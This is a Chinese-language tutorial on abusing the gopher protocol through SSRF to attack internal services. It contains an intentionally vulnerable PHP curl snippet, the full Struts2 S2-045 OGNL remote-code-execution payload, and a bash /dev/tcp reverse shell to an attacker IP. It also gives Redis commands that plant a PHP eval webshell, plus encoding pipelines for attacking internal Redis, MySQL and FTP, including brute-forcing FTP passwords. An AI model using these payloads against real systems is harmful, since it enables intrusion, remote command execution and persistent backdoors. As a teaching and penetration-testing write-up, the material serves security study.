gopher 协议在SSRF 中的一些利用
字数 1402 2025-08-25 22:58:55
Gopher协议在SSRF中的利用详解
协议简介
Gopher协议是一个在HTTP协议诞生前用来访问Internet资源的协议,可以理解为HTTP协议的前身或简化版。虽然很古老,但现在很多库还支持Gopher协议,而且功能很强大。
Gopher协议的特点:
- 可以实现多个数据包整合发送(菜单响应)
- 使用TCP可靠连接
- 一条Gopher命令就能操作MySQL数据库或完成对Redis攻击等复杂操作
协议格式
Gopher URL格式为:
gopher://<host>:<port>/<gopher-path>
<port>默认为70<gopher-path>可以是以下格式之一:<gophertype><selector><gophertype><selector>%09<search><gophertype><selector>%09<search>%09<gopher+_string>
说明:
<gophertype>:单字符表示URL资源类型(安全测试中发现类型不影响使用)<selector>:包的内容,需要进行URL编码<search>:用于向Gopher搜索引擎提交搜索数据<gopher+_string>:获取Gopher+项所需的信息
Gopher协议在SSRF中的利用
测试环境
使用PHP代码模拟SSRF漏洞:
<?php
$url = $_GET['url'];
$curlobj = curl_init($url);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_exec($curlobj);
?>
攻击内网Web服务
案例:利用Gopher协议攻击内网Struts2 S2-045漏洞
- 标准S2-045漏洞POC:
GET /showcase.action HTTP/1.1
Host: 192.168.123.155:8080
Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
- 处理步骤:
- 对POC中的空格和特殊字符进行URL编码
- 将每个回车编码成
%0d%0a(包括末尾的回车) - 在URL中提交SSRF POC时需再次URL编码
反弹shell命令:
exec 5<>/dev/tcp/192.168.123.182/7777;cat <&5 |while read line;do $line 2>&5 >&5;done
攻击内网Redis
写Webshell利用条件:
- 知道Web目录
- Redis启动账户有权限往Web目录写入内容
标准Redis写Webshell流程:
set shell '<?php eval($_POST[cmd]);?>'
config set dir '/usr/local/apache2.4/htdocs'
config set dbfilename shell.php
save
Gopher利用步骤:
- 使用tcpdump抓包:
tcpdump -i lo port 6379 -s 0 -w a.cap - 用Wireshark打开a.cap,找到发送Redis命令的包,追踪流并以原始数据保存
- 编码原始数据:
cat a.txt|xxd -plain|sed -r 's/(..)/%\1/g'|tr -d '\n'
其他Redis利用方式:
- 写SSH公钥(需Redis启动用户在目标home目录有写入权限)
- 写crontab任务
攻击MySQL
利用条件:
- 内网存在无密码的MySQL
- SSRF漏洞服务系统需与抓包时的MySQL交互系统相同
注意事项:
- 交互最后需exit,否则Gopher会保持连接
- 需要完整抓取MySQL交互数据包
攻击内网FTP
暴破FTP密码
步骤:
- 本地模拟FTP访问流量:
tcpdump -i lo -s 0 -w a.cap curl ftp://vsftp:vsftp@127.0.0.1/ - 保存发送到21端口的流量(ASCII格式),保留USER、PASS、QUIT命令
- 编码数据包:
cat 1|sed 's/ /%20/g'|sed ':a;N;s/\n/%0d%0a/;ta;'|sed -r 's/(.*)/gopher:\/\/192.168.73.130:21\/_\1/g'|sed 's/%/%25/g'|sed 's/:/%3a/g' - 使用Burp Intruder进行暴破
FTP上传文件
FTP工作模式:
- 主动模式:
- 命令通道:客户端非特殊端口 → 服务端21端口
- 传输通道:客户端非特殊端口+1 ← 服务端20端口
- 被动模式:
- 命令通道:客户端非特殊端口 → 服务端21端口
- 传输通道:客户端非特殊端口+1 → 服务端随机非特殊端口
利用步骤:
- 抓取本地lo网卡流量:
tcpdump -i lo -s 0 -w a.cap - 将抓到的TCP流保存为文件,删除末行QUIT命令,复制多个文件并修改STOR命令后的文件名
- 对每个文件进行Gopher编码
- 在Burp Intruder中暴破端口部分